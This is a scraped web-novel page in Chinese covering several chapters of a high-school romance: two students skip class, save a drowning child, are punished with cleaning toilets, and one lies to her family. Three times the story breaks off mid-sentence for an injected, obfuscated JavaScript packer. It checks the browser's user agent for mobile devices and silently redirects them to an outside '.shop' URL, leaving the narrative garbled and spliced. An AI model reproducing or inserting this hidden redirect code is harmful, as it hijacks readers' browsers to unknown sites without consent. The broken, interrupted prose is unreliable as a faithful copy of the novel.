“我不管你怎么看我,但你不应该对老师这样说话,”说完这句话,张雨倩突然转头,对着王铁柱鞠了一躬,“对不起王老师,我代替陈喻向您道歉。” 陈喻和林黛蜜对视一眼。 在场的人,你看我我看你。 很显然,大家都被这一套迷惑的行为弄晕了,这是什么操作,陈喻又没有做错什么,而她张雨倩又有什么立场代表陈喻道歉。 这时,有一个男生单手抱着篮球走过来,痞痞地站在陈喻跟前,脸上的笑容却不友善。 “陈喻,你为什么不想去啊?是不是怕今天没吃你那个药,输给我。” 说到“吃药”两个字,陈喻的脸色明显一变,看向那个男生的目光凌厉起来,林黛蜜从没有见过这样的陈喻。 他大多数时候都是温和的,或者说对遇到的事情不怎么关心的,无所谓的。 但眼前这个人,明显惹陈喻不开心了,会惹陈喻不开心的,一定不是什么好人。 再说了,他说的那叫什么话,什么叫没吃药会输给他,按照他的语气,好像生病吃药是什么丢人的事情,为什么要戳他人的痛处! 林黛蜜没忍住上前问,“你叫什么名字?” 刘宏路在阳光下眯了眯眼睛,笑得依旧贱贱的,“连我都不认识,你混得不行啊,不过我认识你,你叫林黛蜜对吧。” 林黛蜜:“要想别人认识你,至少要有拿的出手的东西,要么是成绩,要么是样貌,要么是道德,你一个都没有,请问我有什么认识你的必要吗?” 这下脸色变难看的换成了刘宏路,他抬高了下巴,指着林黛蜜的鼻子,“你有本事再说一次?” 林黛蜜将他的手拍开,“就你这智商,我再说八次你都记不住,我干嘛要浪费口舌?” 她又看了眼王铁柱和张雨倩,“还有,我要告诉你们一个常识,他不想打就不想打,无需自证无需向你们做任何解释,因为,不喜欢,不愿意,不想,这些本来就是一个完整的句子。说完后,她转身拉起陈喻的手腕:“走,跑圈去!” 附中的篮球场就在教学楼下面,操场是后来买地扩建的,去那边需要走一会儿,首先得绕过大礼堂,再从打乒乓球的地方穿过去,再经过食堂,然后直走五百来米才能到达。 两人来到大操场,看着面前标准的400米跑道,再抬头看看要把人晒化的太阳,林黛蜜觉得自己今天得交代在这里。 她叹了几口气,看向陈喻,“你身体不舒服,就看着我跑吧。” 陈喻:“我就没打算跑步,这么热的天气跑坏了谁能负得起责任,我带你去逃课,你逃过吗?” 林黛蜜摇头,“好像没有什么事情需要我逃课出去做,我要是想去做什么的话,会告诉家里,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958203|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸妈会帮我请假。” “那你呢,你逃过吗?” 女孩眼睛睁得大大的,脸上写满好奇,他突然想逗一逗她,于是回答道,“和你没逃过?” 林黛蜜:“所以除了我,你和其他人都逃过课了?” “……那倒没有,”陈喻盯着她的眼睛:“我的意思是,我只想和你逃。” 他知道自己在说什么吗? 陈喻安静得注视着她,瞳孔中映着春日的天空,云絮浮动,风掠过他的衣领,微微掀起他额前的碎发。远处传来哨声、篮球砸在地上的闷响、隐约的笑闹声、以及喧闹的高温,可他的声音却清晰地穿过所有嘈杂,蹲守在她耳畔。 这是某种“被禁止”的预兆吗? 少女还在困惑中,少年忽然笑着开口,“骗你的,其实我也没有逃过课,我想着离开之前怎么着也得逃一次吧。” “那出发吧!”林黛蜜也想体会一下这件刺激的事情,既然机会摆在眼前了,那就舍命陪君子喽。 “这边,”陈喻带着林黛蜜绕到学校后墙的一处矮墙边,“我先翻过去,然后在那边接你。” 林黛蜜看着陈喻左脚一蹬,十分轻松地翻过了墙头,动作熟练地让人怀疑他经常这样做,她犹豫地朝里面看了一眼,还是抓住了陈喻从墙那边伸过来的手。 “小心点,别踩那块松动的砖。”陈喻的声音从墙那边传来。 当林黛蜜的双脚落在墙外的草地上时,一种其妙的自由感涌上心头,她抬头,阳光透过树叶的缝隙刚好洒在她的脸上,深吸一口气,还能闻到泥土的气味。 就好像,挣脱了某种看不到的结界。 “怎么样,感觉还不错吧。”陈喻笑着,他的眼睛在阳光下呈现琥珀般的颜色,好看极了。 是的,很不错的感觉。 “然后我们去哪里?” “跟我来。”陈喻转身走在前面。 两人上了辆公交车,车里大多数是老人,他们用疑惑的目光打量着,林黛蜜感到不自在,这身校服,这个时间点,不应该出现在车上。 再看陈喻,他不愧是快要死的人,一脸坦荡,毫无逃课的负罪感。 十分钟后,从车上下来,两人来到一片开阔的湖边。 林黛蜜认出来了,她兴奋道:“这不是柳河吗?” “没错。” 两人穿着校服经过时,会吸引大部分的目光,这应该是社会的共识,在非节假日的白天,穿着校服的学生出现在除了校园以外的任何地方都是不正常的,连他们自己也觉得有些格格不入,于是不约而同加快了脚步。 周三下午两点二十分,原来学校外面的世界是这样的,湖水在眼光下泛着麟麟波光,湖中间有几只黑色的野鸭悠闲地游弋,岸边清一色的垂柳,长长的枝条随风轻摆。 有不少老人在树下纳凉,有的下棋,有的聊天,有的带着几岁大的小孩玩耍,看上去惬意极了。 赏花问柳,下棋品茶,含饴弄孙,真叫人羡慕啊,他们不用逃课出来就能看到如此美景,而且想看多久看多久。 但高中生不可以。 当清晨的露水垂在草尖,鸟雀跳跃在枝头,高中生得上早读;当晌午的蝉鸣从四面八方涌来,树叶被烫得微微卷边时,高中生被关在寝室午休。 当午后的白云慵懒浮在蓝得几乎透明的天空,当老人们摇着蒲扇有一搭没一搭闲话时,高中生坐在教室里赶作业;当夜幕降临星星一颗接一颗亮起来,蛙鸣虫唱交织成夏夜的小调时,高中生在上晚自习。 22. 22 “到底是怎样的伟大前程,值得我们将四季都错过。”陈喻发现这句很时髦的话,居然很应景,便问林黛蜜,“你怎么看这句话?” 林黛蜜正试图揪下来一根柳条,她反问,“什么?为什么要错过四季豆,四季豆那么好吃?” 陈喻愣了几秒,随即低下头,情不自禁地想笑。 林黛蜜察觉他的动作:“你刚才是在嘲笑我?你也觉得我缺心眼对不对?” “也?” “你为什么会这么问?” 林黛蜜:“因为之前我有位同学就是这样笑的,他当时说,“大家都说你是超绝钝感力,也不知道这词儿是谁发明的,比缺心眼洋气多了,我看你以后就叫超绝缺心眼吧。” 陈喻听完,无比认真盯着眼前的女孩:“你不用怀疑自己,钝感力和缺心眼绝对是两回事,前者是在社交过程中能识别收集到的信息,过滤掉对自己不利的负面信息,从而减少对自身的干扰。” “而缺心眼,是在社交过程中纯纯察觉不到对方的感受和需求,四处创伤他人还自我感觉良好,但你林黛蜜,拥有一颗超强共情的心,这是多少人修行一辈子都达不到的,在这一点上,你大可为自己骄傲。” 林黛蜜看了他几秒,突然笑开,“陈喻,我喜欢听你说话,我也喜欢你描述的那个我。” 陈喻心里警报声拉响。 什么? 她承认自己喜欢我了,我该怎么说呢,直接拒绝的话她一定会伤心吧,要是她哭了怎么办,我又不会哄人。 林黛蜜当然不知道他的这些想法,只一味打破砂锅问到底:“那你刚才为什么笑?” “我刚才想笑,不是觉得你缺心眼,是我觉得你……特别有趣,活久了你就会知道,你这样的人简直比大熊猫还要稀有,你一定要相信我这句话,这不是奉承,而是一句客观描述,不代表任何恭维或者喜欢。” 真的是客观描述吗? 陈喻在心里肯定自己。 是的,相当客观,无比客观,就算天王老子来了也会觉得她很有意思。 这绝对不代表他喜欢她。 顶破天算一种欣赏吧。 于是两人又聊回“伟大前程”和“四季豆”,陈喻首先表明观点,他觉得,高中“牲”是“牲口”的“牲”。因为如果高中生是人的话,就不会一天到晚十几个小时,一直被安排坐在方寸大小的地方看书,这和围着一个磨石打转的驴没什么两样。 而这样做这样的目的,是为了一个虚无缥缈的“伟大前程”,说白了,是为了一份糊口的工作,再往白里说,大部分人是为了一个字。 钱。 林黛蜜说:“我同意你的部分观点,但你知道,这个问题太复杂了,复杂到前无古人后无来者,复杂到没有参考答案,或许,我们可以回去准备准备,举办一次辩论会。” “听起来不错!” 两人沿着湖一路闲扯着,林黛蜜刚看了眼手表,发现快下课了,她刚想问是不是该回去了,突然被远处传来撕心裂肺的尖叫声打断。 “救命啊!有人吗?救命啊!” 两人同时循声望去,瞳孔骤然紧缩,在距离他们大约五十米的湖里,两只挥舞的小手正在下沉,孩子的脑袋已经完全没入水中…… 他们朝那边飞奔而去,陈喻快速脱掉外套和鞋,纵身跃入湖中,八月的水温比想象中低得多,他感到肺部瞬间紧缩。 “小朋友,不要害怕。”陈喻朝还在扑腾的孩子大喊,自己却呛了口水,湖面有水生绿藻,他只能凭记忆向最后看到孩子的位置潜去。 林黛蜜借了路人的电话拨打了120,她语速飞快但清晰地向接线员说明了情况,同时,眼睛死死盯着湖面,陈喻已经抓住了孩子,正单手划水往回游。 快到岸边时,陈喻没力气了,他将哭嚎的孩子推向她,声音被湖水割裂地支离破碎,“往上面拽。” 林黛蜜跪在湿滑的苔藓上探出大半个身子,指尖刚碰到孩子的衣角,由于水的拉力,孩子又滑向深水区。 衣服一大半已经浸入水中,她索性再往前一步,终于抓住了孩子的手腕,但五岁孩子的体重远超她的预期,反作用力让她向前滑去,就在她即将被拽入水中时,旁边突然伸过来一只手。 “抓紧!” 低沉的声音在她耳畔炸响,是胡波!他的手臂像铁钳般稳固,林黛蜜趁机发力,终于将陈喻和小男孩一同拖上岸。 孩子昏迷了,胡波将人放平,手指迅速清除孩子口鼻中的水草,跪在另一侧双手交叠按在瘦小的胸膛上。 一下,两下,三下……林黛蜜瘫坐在鹅卵石滩上,机械地数着,她发现自己的牙齿正在不受控制地打战。 再看陈喻,他全身湿透,嘴唇呈现不正常的黑紫色,眼中的恐惧还未散去,林黛蜜把衣服披在他的肩膀,握了握他颤抖着的双手。 人群突然骚动,有人高喊“救护车来了”,医务人员给孩子做第五次人工呼吸时,孩子突然剧烈痉挛,咳出大股混浊的湖水。 “活了!” “太好了!” 周围爆发出欢呼,林黛蜜高兴极了,她激动地抱了抱陈喻,“你听到了吗?他没事了。” “嗯,我听到了。” 陈喻被医护人员围着量血压,湿透的白T恤下隐约可见肋骨的轮廓,左肩有一道不知道什么时候被划伤的血痕,当他回头,穿过人群与自己目光交汇,而后送出一个疲惫的微笑时,林黛蜜无比清晰地听见内心有个声音,仿佛来自未来。 是他,是他,就是他! 什么一定是他? 把话说清楚再走,林黛蜜再次追问,可那道声音已经消失了。 胡波开车载着两人回了学校,并将他们“请”进了办公室,“说说吧二位,今天怎么就到了救援第一线?” “很明显,我们逃课了。” “逃课出去干嘛?” “很明显,我们逃课出去见义勇为了!”林黛蜜有样学样。 陈喻唇角弯了下。 胡波一记冷眼过去,“你笑什么?是不是觉得她说得很可爱?” 陈喻点头:“是的。” “是个屁!” “合着你们俩觉得自己这课逃对了是不是?你们俩为此感到光荣是不是?我应该在全校大喇叭里表扬你们才对是不是?” 胡波一连问了三个是不是,两人都没说话,算是默认,救了一个人,当然光荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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写文章什么的,简直是林黛蜜的人生一号烦恼,但好在还有陈喻,别看他平时对所有话题都爱搭不理的,可林黛蜜心里清楚,人家只是不屑争辩罢了,语文老师崔铭有次说,陈喻的议论文是可以用来指导实践的存在,当然了,这得遇上对他胃口的论题他才会抬金手写一写。 这就是有个好队友的重要性,就算任务失败了,他也能单独完成善后工作。 林黛蜜端着茶杯坐在一旁,甚至有闲心观赏了起来,陈喻边思考边写,细碎的刘海垂下来遮住了部分眉眼,从她的角度,男生线条分明的下颌和微微抿着的薄唇一览无余,白衬衫领口微微敞开,露出一小段锁骨…… 大概是林黛蜜的目光过于直白,陈喻突然扭头看向她,“林糖糖,你盯着我的脸我写不出来。” “哦……那,我不看你了。” 陈喻又轻笑一声,“你可以看我写的内容,一会儿胡波问起来你不能一问三不知啊。” “好,我看内容,看内容。” 林黛蜜悄悄擦了一把汗,好热啊,为什么不开空调,胡波都混到副校长了还住不上空调房,这附中也太扣了。 林黛蜜本来是想看内容的,可不知不觉,注意力就被其他的东西吸引了,此刻,她正在看那双写字的手,匀称修长,骨节分明,黑色钢笔被那双漂亮的手捏在手里,有一种正在拍钢笔广告的高级感。 23. 23 下午放学之前,胡波回来了,他一进来就吹胡子瞪眼睛,“写怎么样了?” “早就写完了。”陈喻将几页纸递给胡波,“您看了保证满意。” 胡波拿起桌上的老花镜,开始看起来,映入眼帘的先是《逃课原理》四个大字,哟呵,还整了个目录。 第一章:逃课的定义与意义 第二章:逃课的由来【一】西方历史中逃课的产生 第三章逃课的由来【二】我国逃课的产生 第四章:逃课的近代化发展 第五章:科技发展下的新型逃课 第六章:如何正确选择逃课科目 第七章:逃课目的大致分类 第八章:逃课中的合作与对抗关系 第九章:逃课的危机情况应对措施 第十章:拓展章节: 历史上逃课的危机情况应对经典案例 科技发展下的逃课成功性分析 第十一章:课后练习*牛刀小逃 “我的小祖宗啊,你们到底有没有认识到道这件事的厉害性,今天要是那个小孩子救不回来怎么办?要是孩子救回来了把你们俩搭进去怎么办?” “你们救人的时候周围站了不少人吧,但为啥没人帮你们呢?要不是我刚好路过,你们俩要是有个三长两短,我还活不活了我?这事儿是在体育课上发生的,体育老师还活不活了?” “你们还太年轻,根本不知道打碎一个人满身傲骨是一件多么容易的事情。” “容易到,上下嘴唇一碰就可以。” “如果没有了那一身傲骨,那剩下的漫长岁月,你们要怎么度过?自暴自弃,怨天尤人,还是一死了之。” “我告诉你们,任何时候不要得意忘形,我就把话挑明了告诉你们,今天不是你们救活了那个小男孩,是那个小男孩活着,救了你们俩。” 很久之后。 林黛蜜低着头:“老师,我错了。” 陈喻:“我也错了,不过逃课是我提出来的,是我逼她出去的,您要打要罚冲着我来就行。” 林黛蜜:“他没有逼我,我心甘情愿的。” 胡波:“……你俩搁这儿演电视剧呢?两人做事两人当,下周C区教学楼的厕所你俩包了,有意见吗?” 一中教学楼被称为“四爪螃蟹”,中间的综合楼是螃蟹身子,四个角分别延伸出来四个区,A区是科技楼,B区是高一教学楼,C区是高二教学楼,D区是高三教学楼。 胡波这是要杀了他们这两只不安分的“鸡”,给高二蠢蠢欲动的“猴子”们看啊。 “说话,有没有意见?” “没有!” “没有!” 胡波哭了,在这次逃课中,他们算到了所有的可能性,就是没算到胡波的眼泪,从胡波的办公室出来,两个人都耷拉着脑袋,全然没有了进来时的沾沾自喜。 他们肩并肩走在楼道里,夕阳斜斜地切进来,像一柄温柔的刀,就如同方才胡波那些话一样,在年轻的心上劈开一道阴影。 一路沉默地走到校门口,林黛蜜抬头看了眼天空,此时此刻,心里最难过的应该是胡波吧,他是真的把学生当成自己的孩子,林黛蜜能想象他锤着沙发大哭的样子。 太让人心疼了。 然而事实是。 胡波锤着沙发笑得直不起腰。 和那边的悲伤画风截然相反,胡波这会欢乐到不行,他一边看那份《逃课原理》一边惊叹于这些小屁孩的创造力。 —— 晚自习前,林黛蜜刚到教室就被孟一格拉出去,“老实交代,你是不是整个下午都和陈喻在一起?” “是。”这一点她无可否认。 孟一格紧追不放,“说,你们在一起干什么去了?” “这事说来话长,我们俩本来……” “我去,”孟一格突然抬手,将两只耳朵捂得严严实实,“不听,不听,我不听。” 林黛蜜今天受的刺激够多了,所以当孟一格做出如此和她人设不符的“娇蛮”动作时,她只是静静等她冷静下来,不过,这在孟一格眼中被解读成了默认。 孟一格很快恢复正常,“所以真的像他们说的那样,你们俩私奔了?” “私奔?”看来大家的作业还是太少了,连这么离谱的东西都相信,“我们没有要私奔,我们俩只是想小小地体验一把逃课,却没想到差点闹出人命。” “闹出人命?”孟一格吓得捂上了嘴巴,只露出一张惊恐的大眼睛看着她,“糖糖,你糊涂啊。” “那当时情况那么紧急,我们哪里顾得上那么多,当然第一反应是救人啊。” “救人?” 林黛蜜:“是啊,当时这样那样……然后我们就被班主任带回来了,我们俩把他气哭了,结果就是罚扫一周的厕所。” “原来出的是这个人命,”孟一格松了一口气,“你知不知道,你一个下午不回来,我一直都在担心。” “对不起啦,害你担心了,我下次不会了,”林黛蜜抱了抱她,拍着她的后背,“不过,你刚才以为是什么人命?” “咳~没什么,我瞎说的。” “哦!” 另一半,陈喻在半路上就被孟源拦住了,他直接来一句,“听说你俩私奔被抓回来了?” 陈喻:“自古私奔没有好下场,我们俩不会干那种蠢事。” “我们俩?” 孟源重复了这个耐人寻味的字眼,这是个了不得的信号,要知道,陈喻很不喜欢将自己和某个人或者某个集体放在一起,比如,他会说八班,而不是我们八班,他会说家里,而不是我们家。 有人要遇到爱情喽! 坐等打脸吧。 * 很快,新的一周开始了,林黛蜜需要比平时早起半个小时到学校打扫厕所,她前一天晚上已经做好了心理建设,可当闹钟在凌晨五点半准时响起,强势打断她的美梦时,林黛蜜还是睁不开眼睛。 她迷迷糊糊地想,闹钟真的是一个不懂人情世故的东西,伸手摸索着按掉闹钟,当指尖触到冰冷的金属时,她才彻底清醒过来。 窗外还是一片漆黑,只有远处路灯投来微弱的光,林黛蜜打开灯,痴呆似的目光盯着天花板,想到要拿着拖把和水桶在空荡荡的楼梯里上上下下,她就像原地去世,好在还有个队友。 “糖糖?”隔壁房间传来陆维正含糊的声音,“你怎么起床了,是哪里不舒服吗?” 林黛蜜僵住了,她没想到闹钟会吵醒父母,他们平时六点才会起床。于是她屏住呼吸,希望父亲以为是自己听错了继续睡去。 “糖糖?你还好吗?”陆维正的声音更清晰了,嗓音里还带着明显的着急。 “我没事,爸爸。”她不得不回应,声音因为紧张而略显尖锐,“我……我起来上厕所。” “好,那你小心点。” 她轻手轻脚地下了床,光脚踩在冰凉的地板上,寒意从脚底直窜上来,衣柜门发出轻微的摩擦声,她吓得停住动作,竖起耳朵听隔壁的动静。幸好,陆维正似乎又躺下了。 林黛蜜摸黑找出校服,不敢开灯。她蹑手蹑脚地走出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958205|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间,却在走廊上踢到了一个小垃圾桶,塑料筒跌倒,在木地板上发出清脆的撞击声。 “怎么回事?” 这次是林韵的声音,从主卧室传来,伴随着开灯的声响。 林黛蜜心跳加速,手心渗出冷汗,她弯腰扶正垃圾桶,喉咙发紧,“没事,妈妈,我不小心碰倒了垃圾桶。” 主卧室的门开了,父亲俩披着外套走出来,睡眼惺忪,"糖糖?这才几点?你今天怎么起这么早?” “我和同学约好了,”林黛蜜脱口而出,或许是为了掩盖心虚,声音比她想象的还要大,“下周不是要月考了吗?这一周我们就想提前到校复习半小时。” 说完,林黛蜜低头整理校服,避开母亲探究的目光,她能感觉到脸颊发烫,希望昏暗的灯光能掩盖她的不安。 “什么同学这么早?”陆知珩的声音突然从身后传来,她本来就心虚,这一声直接吓得林黛蜜差点跳起来。回头一看,陆知珩靠在门框上,头发乱蓬蓬的,显然也是被吵醒的。 林黛蜜咽了口唾沫,感到全家的目光都集中在她身上,“就是……就是杨雅茹,咱俩共同认识的那个又有才华又漂亮的杨雅茹。” 杨雅茹对不起!对不起!先接你一用,回头我会向你解释的。 搬出杨雅茹之后,陆知珩貌似信了,这时,厨房的灯突然亮了,强光刺得林黛蜜眯起眼睛。陆维正已经走进厨房,开始翻找什么,“既然这样,至少吃点东西再走,空腹学习效率不高。” 林黛蜜站在原地,感到一阵愧疚涌上心头,这还是她长这么大第一次对全家人说谎。 “爸爸,我来帮你热牛奶,”林黛蜜跟着走进厨房,试图弥补自己的过错,“你们可以回去睡觉的,不用管我。” “不用,"陆维正从冰箱里拿出鸡蛋和面包,头也不回地说,“不用你帮忙你先坐在那里,很快就好。” 陆知珩靠在厨房门边,若有所思地看着乖乖坐在那里,像个乖宝宝的林黛蜜,这时,林韵不动声色地将儿子拉到客厅,她还是不放心,便嘱咐道,“儿子,你一会儿悄悄跟着妹妹,我老觉得她不对劲儿。” “嗯,放心吧!” 不大一会儿,陆维正把煎蛋和热牛奶放在女儿面前,和蔼问道,“一中的课程很紧张吗?” “还好,”她强迫自己微笑,“我就是想考好一点。” “不要给自己太大压力,你刚转过去,考不好也没关系。” 林黛蜜点点头,小口啜饮着牛奶,热气模糊了她的视线,也给了她一个掩饰情绪的借口,真的好有负罪感,全家人都因为她而早起,围坐在餐桌旁,而她却撒谎。 “要不要爸爸送你?”陆维正突然问,“天还没亮,你一个人走不安全。” “不用!"林黛蜜差点被牛奶呛到,“真的不用,我自己完全可以。” 她看了看墙上的时钟,已经五点五十了,“我该走了,不然要迟到了。” 匆忙吞下最后一口煎蛋,她抓起书包冲向门口,林韵追上来塞给她一个保温杯,“带上这个,里面是热豆浆。” “谢谢妈妈。” 林黛蜜低头穿鞋,丝毫不敢直视母亲那双锐利的眼睛,林韵是谁,她是能从委托人的谎言中找到真相的女人,和她斗,林黛蜜简直嫩得像茶叶尖尖,和林韵相比,他们的父亲陆维正都被衬托成了傻白甜。 “路上小心,”她的傻白甜父亲站在门口叮嘱,“有什么事就打电话。” “知道啦。”林黛蜜快步走出家门,早晨的冷风迎面吹来,她不由得缩了缩脖子,快步跑向公交站。 24. 24 从小区出来,街道空荡荡的,只有24小时便利店的灯光在黑暗中显得格外刺眼,踩在铺满枯树叶的人行道上,脚底发出细微的碎裂声。 公交车站台上一个人也没有,林黛蜜看了看手表,5:45,首班车应该快来了,她跺着脚取暖,呼出的白气在空气中迅速消散,很快,远处传来引擎的轰鸣,车头灯刺破晨雾,公交车像一头没睡醒的困兽般缓缓驶来。 车门“嗤”的一声打开,林黛蜜踏上公交车台阶,刷了学生卡,车厢里暖气开得很足,与外面的略微寒冷形成鲜明对比,她习惯性地向后排走去,却在抬头时猛地僵住了。 第三排靠窗的位置,一个扎着高马尾的女生正低头,认真看着膝盖上摊开着的书,那熟悉的侧脸轮廓让林黛蜜以为自己穿越了。 “杨雅茹?” 林黛蜜揉了揉眼睛,感到一阵恍惚,她怀疑自己绑定了什么说过的谎话会成真的系统,那不然此刻出现在她眼前的杨雅茹怎么解释。 听见有人叫自己的名字,杨雅茹抬起头,意外了一瞬,随即笑着打招呼,“早上好啊,林黛蜜。” 她觉得自己不太好。 “我……我可以坐这里吗?”林黛蜜迟疑着,指了指杨雅茹旁边的空位置。 “当然可以了。”杨雅茹点点头,合上书,她往里面挪了挪,给林黛蜜让出位置。 公交车再次启动,空荡的车厢里只有引擎的嗡鸣和偶尔的报站声,林黛蜜僵硬地坐下,将书包抱在胸前。 透过车窗看,城市正在缓慢苏醒,街边的早点摊刚支起炉灶,环卫工人清扫着落叶。 林黛蜜清了清嗓子,神神秘秘问道,“雅雅,你知道自己为什么会出现在这个时间点的公交车上吗?” 杨雅茹迷茫地眨眨眼:“为什么?” 她以为林黛蜜要和她探讨一个关于哲学的问题,就像人从哪里来,要到哪里去,或者为什么活着之类的,这是人类刚起床或者睡觉之前经常会出现的症状。 结果下一秒,林黛蜜压低声音说,“因为你被我的谎言控制了。” 杨雅茹嘴角动了动,她怀疑林黛蜜还没睡醒:“……糖糖,我没听懂。” “是这样的,”林黛蜜盯着自己冻得发红的指尖,一时不知如何开口,她深吸一口气,“我今天早上对家里人撒了个谎,说和你约好了一起早点到校复习,其实我是去打扫厕所的。” 杨雅茹听完后,陷入了沉默。 “对不起啊,我不该没有经过你的允许就拿你当挡箭牌。” “所以,”杨雅茹停顿了下,用食指指尖指向自己,“你觉得,我这么早出现在公交车上是被你撒的谎控制了?” “听上去很难以置信对吧,”林黛蜜耸耸肩,“可冥冥之中的事情谁又能知道呢?这样看似荒唐,细细追究却有迹可循的事情随时都在发生不是吗?” “这点我同意,不过,”杨雅茹原先的疲惫一扫而空,她没忍住笑出声,“我今天出现在这里,还真的不是因为你撒的谎。” 要是撒的谎能成为真的,那么,杨雅茹早就拥有一对正常的父母和一个温暖的家了。 “你别瞎琢磨,我每天都这个点儿坐这趟车来学校,和你没关系,还有啊,我一点都不介意你拿我当挡箭牌。” 林黛蜜抬起头,惊讶地发现杨雅茹眼中没有一丝责备,“你不生气吗?” “为什么要生气?”她把膝盖上的书卷起来,塞进书包侧袋,“每个人都有自己的难处和不得已。” 况且,她也拿林黛蜜当过挡箭牌,林黛蜜至少会大大方方承认,不像她,只敢当个只拿不还的小偷。 林黛蜜:“所以说,你每天都来这么早学习?” “是啊,我这个人比较笨,需要笨鸟先飞,”她看向茫茫的窗外,声音一点点低下去,说不清是惆怅还是无奈,“我每天五点起床,就为了在公交车上多背会儿单词,没想到今天碰到了你。” 晨光越来越亮,探进车厢的角角落落,借着自然光,林黛蜜第一次注意到杨雅茹眼下淡淡的黑眼圈,以及校服袖口磨出的细小毛球。她想起了昨天陈喻说的那句话。 到底是怎样的远大前程,值得我们将四季都错过。林黛蜜是一个对学习成绩不强求的人,加上父母也没那么严格,所以在整个求学生涯中,日子还算过得松快。 可对于那些一直盯着成绩、排名的人来说,那确实是一分一秒都不敢浪费,反正选择哪一种,也论不出个对错来。 林黛蜜说:“你一点都不笨,因为笨的人是不会明白笨鸟先飞的道理的。” 杨雅茹盯着她看了好久,而后坚定道:“同意。” “对了雅雅,我还想求你一件事。” “你说。” “要是陆知珩问起来,你就帮我圆一下谎好不好,他知道后一定会告诉我爸妈的。” “没问题。”杨雅茹一口答应下来,“不过,你要是不介意的话,能不能告诉我你们为什么会被罚扫厕所吗?” 林黛蜜:“是这样的……” 刚讲完,公交车突然来一个紧急刹车,两人因为惯性向前倾,杨雅茹双手扶住前排座椅,她的眼神中流露出一丝敬佩,“你俩挺勇敢的,如果是我,我大概没胆量那样做。” 林黛蜜没想到会得到这样的评价,她一直以为杨雅茹是那种,只会埋头学习的乖学生,从不关心班级里的这些是非,也不会赞成任何“出格”行为的人。 公交车开始减速,学校熟悉的灰色建筑出现在视野中,车门打开的一瞬间,冷空气再次袭来,她和杨雅茹一起走向校门。 回教室放完书包后,林黛蜜拿着拖把和水桶赶往厕所,她在洗拖把的地方看到了陈喻。 男生戴着一双黑色的橡胶手套,弯下腰,右手固定住拖把杆中间部位,左手攥着往下滴水的拖把头,试图将它拧干一些。 林黛蜜扬起明媚的笑脸,“早上好啊,陈喻!” 男生一脸高冷,语气却不自觉轻快起来:“扫厕所你有必要这么开心?” 林黛蜜:“我开心不是因为要扫厕所,是因为看到了你啊。” “哦!”陈喻淡定偏过脸去,下一秒,没忍住勾起了嘴角。 林黛蜜仔细戴上手套,打算先将拖把塞进水池清洗,陈喻从她手里拿过拖把,“你回去看书,这里我一个人就行。” “可是我要打扫的是女厕所,你怎么可能一个人搞定?”她拧开水龙头,拿回拖把,来回转动,好冲洗得彻底一些。 陈喻说:“女厕所我请了保洁阿姨帮忙打扫过了。” “什么?” 林黛蜜关上水龙头,跑进女生厕所,只见地面湿漉漉地泛着水光,垃圾桶里套着崭新的黑色塑料袋,就连镜子上未干的水珠都表明这里刚刚被认真打扫过。 看到这一幕,她皱着眉头跑出去,将手套摘下来丢在窗台上,发出“啪”的声响,“陈喻,你怎么可以这样?” 陈喻低头忙着擦地,“打扫厕所这种事情,不适合你。” “不适合我,但适合你?” “我是男生,做什么都无所谓,但你不一样。” 林黛蜜叉着腰:“我没有什么不一样,做错了事情,该我领的罚我就得领,你不能替我做决定,不就是扫个厕所,你能扫我也能啊。” 真犟啊! 陈喻终于直起了腰,他将拖把倚靠在墙角,放缓了语调,“我没有轻视你的意思,我只是觉得对不起你,事情明明是因我而起,却要拖累你和我一起受罚,还是扫厕所这种脏活累活。” “你没有对不起我,也没有拖累我,和你逃课出去,我是心甘情愿的,再说回扫厕所,同样有一双手,你能干保洁阿姨能干我也就能干。” 长久的沉默过后,林黛蜜率先开口,“给你个机会,向我道歉,这事儿就过去了。” 陈喻:“对不起。” 林黛蜜:“对不起什么?” 陈喻:“我不该自作主张,请保洁阿姨帮你打扫厕所。” “没关系,我知道你是关心我,下不为例。” 陈喻:“知道了!” 林黛蜜“好了,这事儿就过去了。” 说完,陈喻轻轻晃了下身子,林黛蜜一抬眼,看到一个熟悉的身影正朝厕所这边走来。 不好,陆知珩怎么来三楼了! 在被发现之前,林黛蜜直接跑进厕所,只丢下一句,“陆知珩来了,我进去躲躲。” 陈喻转身,果然看到陆知珩背着书包朝这边走来,他眯了眯眼睛,大概猜到林黛蜜为什么躲。 只见陆知珩不疾不徐地迈着长腿走过来, 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陈喻没往下看,侧眼看了一眼陆知珩的,结果他又被雷击了一次,陆知珩那封信的开头是这样的。 “陆知珩,你一定不知道,你的眼睛里有星辰大海,里面揉碎了星星和银河,胜过我看过的所有春花秋月。” 几个人一对,直接小刀剌屁股,开了眼。 “我靠,除了开头的名字,其他的连个标点符号都没有改。” “啧,现在情书都能海投了?” “看样子是恶作剧。” “这到底是哪个天才想出来的损招,简直是想将这个学校的帅哥一网打尽啊。” “我竟然还有这么沙雕的粉丝?” “这女生简直堪称端水大师,每个年级各两封?” …… 